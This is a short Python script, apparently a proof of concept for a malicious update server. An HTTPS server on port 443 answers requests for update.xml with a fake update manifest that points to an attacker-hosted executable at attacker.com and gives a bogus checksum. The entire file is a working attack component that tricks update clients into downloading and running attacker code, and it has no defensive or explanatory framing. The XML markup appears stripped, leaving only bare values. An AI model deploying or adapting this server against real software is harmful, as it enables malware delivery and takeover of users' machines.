from http.server import HTTPServer, BaseHTTPRequestHandler import ssl class MaliciousUpdater(BaseHTTPRequestHandler): def do_GET(self): if "update.xml" in self.path: self.send_response(200) self.send_header("Content-type", "text/xml") self.end_headers() # Malicious update pointing to attacker-controlled executable xml = """ 8.8.9 https://attacker.com/malicious_installer.exe fake1234 """ self.wfile.write(xml.encode()) else: self.send_error(404) httpd = HTTPServer(("0.0.0.0", 443), MaliciousUpdater) httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True) httpd.serve_forever()